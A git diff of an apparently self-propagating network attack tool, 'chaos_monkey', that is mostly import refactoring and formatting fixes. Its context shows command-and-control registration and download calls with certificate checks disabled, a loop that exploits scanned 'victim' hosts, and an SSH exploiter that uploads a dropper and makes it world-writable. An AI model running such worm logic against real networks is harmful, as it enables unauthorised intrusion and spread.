-          <caret line="30" column="22" selection-start-line="30" selection-start-column="22" selection-end-line="30" selection-end-column="22" />
-          <folding>
-            <element signature="e#0#9#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/range.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="65" column="0" selection-start-line="65" selection-start-column="0" selection-end-line="65" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#13#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/smbfinger.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#13#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/sshfinger.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="24" column="33" selection-start-line="24" selection-start-column="33" selection-end-line="24" selection-end-column="33" />
-          <folding>
-            <element signature="e#0#9#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#11#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
     <entry file="file://$PROJECT_DIR$/chaos_monkey/network/tools.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#13#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/model/host.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="38" column="0" selection-start-line="38" selection-start-column="0" selection-end-line="38" selection-end-column="0" />
-          <folding />
         </state>
       </provider>
     </entry>
@@ -848,51 +739,10 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/__init__.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="6" column="0" selection-start-line="6" selection-start-column="0" selection-end-line="6" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#39#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
     <entry file="file://C:/Python27/Lib/site-packages/rdpy/core/error.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="2.4323077">
           <caret line="93" column="6" selection-start-line="93" selection-start-column="6" selection-end-line="93" selection-end-column="6" />
-          <folding />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="94" column="36" selection-start-line="94" selection-start-column="36" selection-end-line="94" selection-end-column="36" />
-          <folding>
-            <element signature="e#0#11#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#10#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="126" column="21" selection-start-line="126" selection-start-column="21" selection-end-line="126" selection-end-column="21" />
-          <folding>
-            <element signature="e#0#15#0" expanded="true" />
-          </folding>
         </state>
       </provider>
     </entry>
@@ -900,17 +750,6 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/tools.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#9#0" expanded="true" />
-          </folding>
         </state>
       </provider>
     </entry>
@@ -922,33 +761,191 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py">
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/build_windows.bat">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.038331453">
+          <caret line="2" column="0" selection-start-line="2" selection-start-column="0" selection-end-line="2" selection-end-column="0" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/control.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
-          <caret line="264" column="16" selection-start-line="264" selection-start-column="16" selection-end-line="264" selection-end-column="16" />
+          <caret line="75" column="58" selection-start-line="75" selection-start-column="58" selection-end-line="75" selection-end-column="58" />
           <folding>
-            <element signature="e#330#340#0" expanded="true" />
+            <element signature="e#0#11#0" expanded="false" />
           </folding>
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py">
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/model/host.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
-          <caret line="109" column="0" selection-start-line="109" selection-start-column="0" selection-end-line="109" selection-end-column="0" />
+          <caret line="31" column="51" selection-start-line="31" selection-start-column="51" selection-end-line="31" selection-end-column="51" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/dropper.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="13" column="9" selection-start-line="13" selection-start-column="9" selection-end-line="13" selection-end-column="9" />
+          <folding>
+            <element signature="e#0#9#0" expanded="false" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/__init__.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="1" column="0" selection-start-line="1" selection-start-column="0" selection-end-line="1" selection-end-column="0" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/monkey.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="-9.965517">
+          <caret line="17" column="0" selection-start-line="17" selection-start-column="0" selection-end-line="17" selection-end-column="0" />
+          <folding>
+            <element signature="e#0#10#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/main.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="4" column="21" selection-start-line="4" selection-start-column="21" selection-end-line="4" selection-end-column="21" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/__init__.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="22" column="31" selection-start-line="22" selection-start-column="31" selection-end-line="22" selection-end-column="31" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="4" column="0" selection-start-line="4" selection-start-column="0" selection-end-line="4" selection-end-column="0" />
+          <folding>
+            <element signature="e#0#11#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/smbfinger.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="21" column="27" selection-start-line="21" selection-start-column="27" selection-end-line="21" selection-end-column="27" />
           <folding>
             <element signature="e#0#13#0" expanded="true" />
           </folding>
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/build_windows.bat">
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/sshfinger.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.05230769">
-          <caret line="2" column="0" selection-start-line="2" selection-start-column="0" selection-end-line="2" selection-end-column="0" />
+        <state vertical-scroll-proportion="0.0">
+          <caret line="3" column="5" selection-start-line="3" selection-start-column="5" selection-end-line="3" selection-end-column="5" />
           <folding />
         </state>
       </provider>
     </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/range.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="4" column="5" selection-start-line="4" selection-start-column="5" selection-end-line="4" selection-end-column="5" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="5" column="5" selection-start-line="5" selection-start-column="5" selection-end-line="5" selection-end-column="5" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="15" column="16" selection-start-line="15" selection-start-column="16" selection-end-line="15" selection-end-column="16" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/__init__.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="16" column="43" selection-start-line="16" selection-start-column="43" selection-end-line="16" selection-end-column="43" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/tools.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="16" column="52" selection-start-line="16" selection-start-column="52" selection-end-line="16" selection-end-column="52" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="17" column="0" selection-start-line="17" selection-start-column="0" selection-end-line="17" selection-end-column="0" />
+          <folding>
+            <element signature="e#0#13#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="17" column="24" selection-start-line="17" selection-start-column="24" selection-end-line="17" selection-end-column="24" />
+          <folding>
+            <element signature="e#0#10#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="12" column="33" selection-start-line="12" selection-start-column="33" selection-end-line="12" selection-end-column="33" />
+          <folding />
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.0">
+          <caret line="24" column="71" selection-start-line="24" selection-start-column="71" selection-end-line="24" selection-end-column="71" />
+          <folding>
+            <element signature="e#0#15#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/network_scanner.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state vertical-scroll-proportion="0.5381295">
+          <caret line="22" column="0" selection-start-line="22" selection-start-column="0" selection-end-line="22" selection-end-column="0" />
+          <folding>
+            <element signature="e#0#11#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
   </component>
 </project>
\ No newline at end of file
diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py
index 1a013a38c..bf5ac7c2a 100644
--- a/chaos_monkey/control.py
+++ b/chaos_monkey/control.py
@@ -26,10 +26,10 @@ class ControlClient(object):
         for server in WormConfiguration.command_servers:
             try:
                 hostname = gethostname()
-                if None == parent:
+                if not parent:
                     parent = GUID
 
-                WormConfiguration.current_server =  server                
+                WormConfiguration.current_server = server
 
                 monkey = {'guid': GUID,
                           'hostname': hostname,
@@ -41,18 +41,16 @@ class ControlClient(object):
                 if ControlClient.proxies:
                     monkey['tunnel'] = ControlClient.proxies.get('https')
                 
-                reply = requests.post("https://%s/api/monkey" % (server,), 
-                                        data=json.dumps(monkey),
-                                        headers={'content-type' : 'application/json'},
-                                        verify=False, 
-                                        proxies=ControlClient.proxies)
-                
+                reply = requests.post("https://%s/api/monkey" % (server,),
+                                      data=json.dumps(monkey),
+                                      headers={'content-type': 'application/json'},
+                                      verify=False,
+                                      proxies=ControlClient.proxies)
                 break
 
             except Exception, exc:
                 WormConfiguration.current_server = ''
-                LOG.warn("Error connecting to control server %s: %s",
-                         server, exc)
+                LOG.warn("Error connecting to control server %s: %s", server, exc)
 
         if not WormConfiguration.current_server:
             if not ControlClient.proxies:
@@ -75,7 +73,7 @@ class ControlClient(object):
                 monkey['tunnel'] = ControlClient.proxies.get('https')            
             reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
                                    data=json.dumps(monkey),
-                                   headers={'content-type' : 'application/json'},
+                                   headers={'content-type': 'application/json'},
                                    verify=False,
                                    proxies=ControlClient.proxies)
         except Exception, exc:
@@ -84,14 +82,14 @@ class ControlClient(object):
             return {}
 
     @staticmethod
-    def send_telemetry(tele_type='general',data=''):
+    def send_telemetry(tele_type='general', data=''):
         if not WormConfiguration.current_server:
             return        
         try:
             telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
             reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
                                   data=json.dumps(telemetry),
-                                  headers={'content-type' : 'application/json'},
+                                  headers={'content-type': 'application/json'},
                                   verify=False,
                                   proxies=ControlClient.proxies)
         except Exception, exc:
@@ -123,10 +121,10 @@ class ControlClient(object):
         if not WormConfiguration.current_server:
             return None        
         try:
-            reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), 
-                                    data=json.dumps(host.as_dict()),
-                                    headers={'content-type' : 'application/json'},
-                                    verify=False, proxies=ControlClient.proxies)
+            reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
+                                  data=json.dumps(host.as_dict()),
+                                  headers={'content-type': 'application/json'},
+                                  verify=False, proxies=ControlClient.proxies)
 
             if 200 == reply.status_code:
                 result_json = reply.json()
diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py
index 4f1e70cd9..60d815e7d 100644
--- a/chaos_monkey/exploit/__init__.py
+++ b/chaos_monkey/exploit/__init__.py
@@ -1,9 +1,4 @@
 from abc import ABCMeta, abstractmethod
-from win_ms08_067 import Ms08_067_Exploiter
-from wmiexec import WmiExploiter
-from smbexec import SmbExploiter
-from rdpgrinder import RdpExploiter
-from sshexec import SSHExploiter
 
 __author__ = 'itamar'
 
@@ -18,3 +13,9 @@ class HostExploiter(object):
     @abstractmethod
     def exploit_host(self, host, src_path=None):
         raise NotImplementedError()
+
+from win_ms08_067 import Ms08_067_Exploiter
+from wmiexec import WmiExploiter
+from smbexec import SmbExploiter
+from rdpgrinder import RdpExploiter
+from sshexec import SSHExploiter
diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py
index c0db62bd7..5793c17ee 100644
--- a/chaos_monkey/exploit/rdpgrinder.py
+++ b/chaos_monkey/exploit/rdpgrinder.py
@@ -7,12 +7,12 @@ from rdpy.protocol.rdp import rdp
 from twisted.internet import reactor
 from rdpy.core.error import RDPSecurityNegoFail
 from logging import getLogger
-from chaos_monkey.exploit import HostExploiter
-from chaos_monkey.exploit.tools import HTTPTools
-from chaos_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from chaos_monkey.model.host import VictimHost
-from chaos_monkey.network.tools import check_port_tcp
-from chaos_monkey.exploit.tools import get_target_monkey
+from exploit import HostExploiter
+from exploit.tools import HTTPTools
+from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
+from model.host import VictimHost
+from network.tools import check_port_tcp
+from exploit.tools import get_target_monkey
 __author__ = 'hoffer'
 
 KEYS_INTERVAL = 0.1
@@ -236,7 +236,7 @@ class RdpExploiter(HostExploiter):
         global g_reactor
         assert isinstance(host, VictimHost)
 
-        is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
+        is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
         if not is_open:
             LOG.info("RDP port is closed on %r, skipping", host)
             return False
diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index 5f7a4315e..92090a61b 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -1,11 +1,11 @@
 import sys
 from logging import getLogger
-from chaos_monkey.model.host import VictimHost
-from chaos_monkey.model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
-from chaos_monkey.exploit import HostExploiter
-from chaos_monkey.network.tools import check_port_tcp
-from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
-from chaos_monkey.network import SMBFinger
+from model.host import VictimHost
+from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
+from exploit import HostExploiter
+from network.tools import check_port_tcp
+from exploit.tools import SmbTools, get_target_monkey
+from network import SMBFinger
 
 try:
     from impacket import smb
diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py
index 8296831cb..3adfb4e43 100644
--- a/chaos_monkey/exploit/sshexec.py
+++ b/chaos_monkey/exploit/sshexec.py
@@ -1,10 +1,10 @@
 import paramiko
-from chaos_monkey import monkeyfs
+import monkeyfs
 import logging
-from chaos_monkey.exploit import HostExploiter
-from chaos_monkey.model import MONKEY_ARG
-from chaos_monkey.exploit.tools import get_target_monkey
-from chaos_monkey.network.tools import check_port_tcp
+from exploit import HostExploiter
+from model import MONKEY_ARG
+from exploit.tools import get_target_monkey
+from network.tools import check_port_tcp
 import time
 
 __author__ = 'hoffer'
@@ -34,9 +34,9 @@ class SSHExploiter(HostExploiter):
         # if ssh banner found on different port, use that port.
         for servkey, servdata in host.services.items():
             if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
-                port = int(servkey.replace('tcp-',''))
+                port = int(servkey.replace('tcp-', ''))
 
-        is_open,_ = check_port_tcp(host.ip_addr, port)
+        is_open, _ = check_port_tcp(host.ip_addr, port)
         if not is_open:
             LOG.info("SSH port is closed on %r, skipping", host)
             return False                
@@ -95,7 +95,6 @@ class SSHExploiter(HostExploiter):
             except Exception, exc:
                 LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
 
-
         src_path = src_path or get_target_monkey(host)
 
         if not src_path:
@@ -107,7 +106,8 @@ class SSHExploiter(HostExploiter):
 
             self._update_timestamp = time.time()
             with monkeyfs.open(src_path) as file_obj:
-                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer)
+                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
+                          callback=self.log_transfer)
                 ftp.chmod(self._config.dropper_target_path_linux, 0777)
 
             ftp.close()
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index f467c4414..6939161bc 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -4,12 +4,12 @@ import pprint
 import logging
 import os.path
 import urllib
-from chaos_monkey import monkeyfs
+import monkeyfs
 from difflib import get_close_matches
-from chaos_monkey.network import local_ips
-from chaos_monkey.transport import HTTPServer
-from chaos_monkey.network.info import get_free_tcp_port
-from chaos_monkey.network.firewall import app as firewall
+from network import local_ips
+from transport import HTTPServer
+from network.info import get_free_tcp_port
+from network.firewall import app as firewall
 from impacket.dcerpc.v5 import transport, srvs
 from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
 from impacket.smbconnection import SMBConnection, SMB_DIALECT
diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py
index 6e79a643f..77454c518 100644
--- a/chaos_monkey/exploit/win_ms08_067.py
+++ b/chaos_monkey/exploit/win_ms08_067.py
@@ -11,12 +11,12 @@ import time
 import socket
 from enum import IntEnum
 from logging import getLogger
-from chaos_monkey.model.host import VictimHost
-from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
-from chaos_monkey.exploit import HostExploiter
-from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
-from chaos_monkey.network.tools import check_port_tcp
-from chaos_monkey.network import SMBFinger
+from model.host import VictimHost
+from model import DROPPER_CMDLINE, MONKEY_CMDLINE
+from . import HostExploiter
+from exploit.tools import SmbTools, get_target_monkey
+from network.tools import check_port_tcp
+from network import SMBFinger
 
 try:
     from impacket import smb
diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py
index b8a9512e4..cd316480a 100644
--- a/chaos_monkey/exploit/wmiexec.py
+++ b/chaos_monkey/exploit/wmiexec.py
@@ -2,10 +2,10 @@ import socket
 import ntpath
 import logging
 import traceback
-from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
-from chaos_monkey.model.host import VictimHost
-from chaos_monkey.exploit import HostExploiter
-from chaos_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey
+from model import DROPPER_CMDLINE, MONKEY_CMDLINE
+from model.host import VictimHost
+from exploit import HostExploiter
+from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey
 
 LOG = logging.getLogger(__name__)
 
diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py
index bf1adf336..b020afcd8 100644
--- a/chaos_monkey/main.py
+++ b/chaos_monkey/main.py
@@ -10,6 +10,9 @@ from monkey import ChaosMonkey
 import argparse
 import json
 
+if __name__ == "__main__":
+    sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+
 __author__ = 'itamar'
 
 LOG = None
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index 15f4e4225..3c12bfe3b 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -32,7 +32,7 @@ class ChaosMonkey(object):
         self._fingerprint = None
 
     def initialize(self):
-        LOG.info("WinWorm is initializing...")
+        LOG.info("Monkey is initializing...")
 
         if not self._singleton.try_lock():
             raise Exception("Another instance of the monkey is already running")
@@ -82,7 +82,7 @@ class ChaosMonkey(object):
                     finger.get_host_fingerprint(machine)
 
                 ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
-                                                        'scanner' : WormConfiguration.scanner_class.__name__})                    
+                                                      'scanner': WormConfiguration.scanner_class.__name__})
 
                 # skip machines that we've already exploited
                 if machine in self._exploited_machines:
@@ -107,16 +107,14 @@ class ChaosMonkey(object):
                                  exploiter.__class__.__name__, machine)
                         continue
 
-                    LOG.info("Trying to exploit %r with exploiter %s...",
-                             machine, exploiter.__class__.__name__)
+                    LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
 
                     try:
                         if exploiter.exploit_host(machine):
                             successful_exploiter = exploiter
                             break
                         else:
-                            LOG.info("Failed exploiting %r with exploiter %s",
-                                     machine, exploiter.__class__.__name__)
+                            LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
                     except Exception, exc:
                         LOG.error("Exception while attacking %s using %s: %s",
                                   machine, exploiter.__class__.__name__, exc)
diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py
index 6ea3e7504..44fd4dfd7 100644
--- a/chaos_monkey/network/__init__.py
+++ b/chaos_monkey/network/__init__.py
@@ -1,10 +1,4 @@
 from abc import ABCMeta, abstractmethod
-from ping_scanner import PingScanner
-from tcp_scanner import TcpScanner
-from smbfinger import SMBFinger
-from sshfinger import SSHFinger
-from info import local_ips
-from info import get_free_tcp_port
 
 __author__ = 'itamar'
 
@@ -23,3 +17,10 @@ class HostFinger(object):
     @abstractmethod
     def get_host_fingerprint(self, host):
         raise NotImplementedError()
+
+from ping_scanner import PingScanner
+from tcp_scanner import TcpScanner
+from smbfinger import SMBFinger
+from sshfinger import SSHFinger
+from info import local_ips
+from info import get_free_tcp_port
diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py
index 516502432..bef094429 100644
--- a/chaos_monkey/network/network_scanner.py
+++ b/chaos_monkey/network/network_scanner.py
@@ -1,7 +1,7 @@
 import time
 import logging
 from . import HostScanner
-from chaos_monkey.config import WormConfiguration
+from config import WormConfiguration
 from info import local_ips
 from range import *
 
diff --git a/chaos_monkey/network/ping_scanner.py b/chaos_monkey/network/ping_scanner.py
index 8d43ac475..842a6aee8 100644
--- a/chaos_monkey/network/ping_scanner.py
+++ b/chaos_monkey/network/ping_scanner.py
@@ -3,7 +3,7 @@ import sys
 import subprocess
 import logging
 from . import HostScanner, HostFinger
-from chaos_monkey.model.host import VictimHost
+from model.host import VictimHost
 import re
 
 __author__ = 'itamar'
diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py
index dd6bedf1f..8bfd4c7fc 100644
--- a/chaos_monkey/network/range.py
+++ b/chaos_monkey/network/range.py
@@ -2,7 +2,7 @@ import socket
 import random
 import struct
 from abc import ABCMeta, abstractmethod
-from chaos_monkey.model.host import VictimHost
+from model.host import VictimHost
 
 __author__ = 'itamar'
 
diff --git a/chaos_monkey/network/smbfinger.py b/chaos_monkey/network/smbfinger.py
index f9f3d6e2b..608f9bea3 100644
--- a/chaos_monkey/network/smbfinger.py
+++ b/chaos_monkey/network/smbfinger.py
@@ -1,8 +1,8 @@
 import socket
 import struct
 import logging
-from chaos_monkey.network import HostFinger
-from chaos_monkey.model.host import VictimHost
+from network import HostFinger
+from model.host import VictimHost
 from odict import odict
 
 SMB_PORT = 445
diff --git a/chaos_monkey/network/sshfinger.py b/chaos_monkey/network/sshfinger.py
index 19cf1dc50..a4d6a010d 100644
--- a/chaos_monkey/network/sshfinger.py
+++ b/chaos_monkey/network/sshfinger.py
@@ -1,7 +1,7 @@
 import re
-from chaos_monkey.network import HostFinger
-from chaos_monkey.network.tools import check_port_tcp
-from chaos_monkey.model.host import VictimHost
+from network import HostFinger
+from network.tools import check_port_tcp
+from model.host import VictimHost
 
 SSH_PORT = 22
 SSH_SERVICE_DEFAULT = 'tcp-22'
diff --git a/chaos_monkey/network/tcp_scanner.py b/chaos_monkey/network/tcp_scanner.py
index 9460a234a..0616f5b8e 100644
--- a/chaos_monkey/network/tcp_scanner.py
+++ b/chaos_monkey/network/tcp_scanner.py
@@ -1,7 +1,7 @@
 import time
-from chaos_monkey.network import HostScanner, HostFinger
-from chaos_monkey.model.host import VictimHost
-from chaos_monkey.network.tools import check_port_tcp
+from network import HostScanner, HostFinger
+from model.host import VictimHost
+from network.tools import check_port_tcp
 
 __author__ = 'itamar'